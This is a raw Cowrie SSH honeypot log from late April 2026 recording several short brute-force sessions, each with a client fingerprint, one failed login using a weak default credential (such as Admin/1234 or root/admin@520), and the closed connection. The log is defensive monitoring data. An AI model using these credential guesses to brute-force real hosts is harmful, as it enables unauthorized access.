{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:55.583303Z","src_ip":"159.203.92.129","session":"afb74da06ef7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"1234","message":"login attempt [Admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:55.649454Z","src_ip":"159.203.92.129","session":"afb74da06ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:56.661270Z","src_ip":"159.203.92.129","session":"afb74da06ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34840,"dst_ip":"159.203.135.109","dst_port":22,"session":"c23577052963","protocol":"ssh","message":"New connection: 159.203.92.129:34840 (159.203.135.109:22) [session: c23577052963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:36.968955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:36.973276Z","src_ip":"159.203.92.129","session":"c23577052963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:37.043670Z","src_ip":"159.203.92.129","session":"c23577052963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"123456","message":"login attempt [Admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:37.106138Z","src_ip":"159.203.92.129","session":"c23577052963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:38.115897Z","src_ip":"159.203.92.129","session":"c23577052963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":45902,"dst_ip":"159.203.135.109","dst_port":22,"session":"75af31d19acd","protocol":"ssh","message":"New connection: 103.228.69.212:45902 (159.203.135.109:22) [session: 75af31d19acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:45.277969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:45.281799Z","src_ip":"103.228.69.212","session":"75af31d19acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:45.511457Z","src_ip":"103.228.69.212","session":"75af31d19acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567","message":"login attempt [admin/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:46.457852Z","src_ip":"103.228.69.212","session":"75af31d19acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:24:47.690155Z","src_ip":"103.228.69.212","session":"75af31d19acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35076,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d5dea7ac499","protocol":"ssh","message":"New connection: 37.143.61.84:35076 (159.203.135.109:22) [session: 1d5dea7ac499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:02.899678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:03.087221Z","src_ip":"37.143.61.84","session":"1d5dea7ac499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:03.182372Z","src_ip":"37.143.61.84","session":"1d5dea7ac499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@520","message":"login attempt [root/admin@520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:10.490210Z","src_ip":"37.143.61.84","session":"1d5dea7ac499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:11.586454Z","src_ip":"37.143.61.84","session":"1d5dea7ac499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47538,"dst_ip":"159.203.135.109","dst_port":22,"session":"1762aad9a511","protocol":"ssh","message":"New connection: 159.203.92.129:47538 (159.203.135.109:22) [session: 1762aad9a511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:16.898712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:16.904504Z","src_ip":"159.203.92.129","session":"1762aad9a511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:16.908947Z","src_ip":"159.203.92.129","session":"1762aad9a511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"Admin","message":"login attempt [Admin/Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:16.922666Z","src_ip":"159.203.92.129","session":"1762aad9a511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:17.930084Z","src_ip":"159.203.92.129","session":"1762aad9a511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":35118,"dst_ip":"159.203.135.109","dst_port":22,"session":"9759de69fa57","protocol":"ssh","message":"New connection: 103.228.69.212:35118 (159.203.135.109:22) [session: 9759de69fa57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:45.968539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:45.977028Z","src_ip":"103.228.69.212","session":"9759de69fa57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:46.209863Z","src_ip":"103.228.69.212","session":"9759de69fa57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4t5y6","message":"login attempt [ubuntu/q1w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:47.175391Z","src_ip":"103.228.69.212","session":"9759de69fa57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:48.414502Z","src_ip":"103.228.69.212","session":"9759de69fa57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38444,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc9c0375c34b","protocol":"ssh","message":"New connection: 159.203.92.129:38444 (159.203.135.109:22) [session: dc9c0375c34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:56.277264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:56.282064Z","src_ip":"159.203.92.129","session":"dc9c0375c34b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:56.287544Z","src_ip":"159.203.92.129","session":"dc9c0375c34b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"Admin123","message":"login attempt [Admin/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:56.300399Z","src_ip":"159.203.92.129","session":"dc9c0375c34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:25:57.309565Z","src_ip":"159.203.92.129","session":"dc9c0375c34b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40414,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e1b051c2915","protocol":"ssh","message":"New connection: 80.94.92.186:40414 (159.203.135.109:22) [session: 3e1b051c2915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:13.035941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:13.107246Z","src_ip":"80.94.92.186","session":"3e1b051c2915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:13.206022Z","src_ip":"80.94.92.186","session":"3e1b051c2915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol321","message":"login attempt [sol/sol321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:14.103657Z","src_ip":"80.94.92.186","session":"3e1b051c2915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:26:15.372282Z","src_ip":"80.94.92.186","session":"3e1b051c2915","protocol":"ssh"}
